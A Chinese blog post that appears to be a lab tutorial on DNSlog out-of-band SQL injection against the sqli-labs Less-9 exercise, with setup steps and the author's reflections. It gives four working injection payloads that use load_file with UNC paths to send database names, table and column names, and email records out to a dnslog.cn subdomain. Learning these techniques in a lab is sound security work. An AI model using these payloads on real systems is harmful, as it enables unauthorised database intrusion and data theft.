DNSlog注入测试
之前提到的时间盲注,虽然用途比较广泛,但其查询耗时较长;且盲注都需要发送大量请求,容易被WAF拦截。
此时,我们就要用到DNSlog注入——一个可以以较少的访问次数快速获取信息的注入方式。
(不过,它对服务端有一些额外要求;此处的DNSlog注入必须在相关权限开放且服务端系统为windows时才可执行)
(BUUOJ那个sql-lab就不行)
本测试请不要在校园网上进行!!!
准备工作:
一、DNS方面:一个可用的本地DNS服务器。
此处使用http://www.dnslog.cn/
Get SubDomain以后,验证是否能够使用:
输入URL:http://test.z2v67d.dnslog.cn/ ,有:
证明DNS服务器工作正常。
二、SQL方面:检查权限字段
如果是这样就行了;不是的话去相关ini文件把第三个值删掉。
三、复现:
以Sql-labs Less-9为例。我们曾经以时间盲注解过此题。
payloads:
id=-1' and if((select load_file(concat('\\\\',(select database() limit 0,1),'.z2v67d.dnslog.cn\\abc'))),1,0)--+
id=-1' and if((select load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database() ),'.z2v67d.dnslog.cn\\abc'))),1,0)--+
id=-1' and if((select load_file(concat('\\\\',(select hex(group_concat(column_name)) from information_schema.columns where table_schema=database() and table_name='emails' ),'.z2v67d.dnslog.cn\\abc'))),1,0)--+
id=-1' and if((select load_file(concat('\\\\',(select hex((email_id)) from emails limit 1,1),'.z2v67d.dnslog.cn\\abc'))),1,0)--+
DNS服务器记录:
解码:
四、心路历程
实现这玩意之前我对DNS一窍不通,所以花了挺长时间看原理(现在其实还是有点晕)
实现过程中,主要的两道坎:
(1)Load_file
里面需要加入绝对路径。 eg:select load_file('D:/wamp64/www/sqli-labs-php7-master/Less-1/result.txt');
而在测试时,需要使用UNC网络路径

(2)查库内容
(若查询成功,页面会有几秒的刷新延迟;可通过这个快速判断查询成败(类似time-blind了有没有))
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?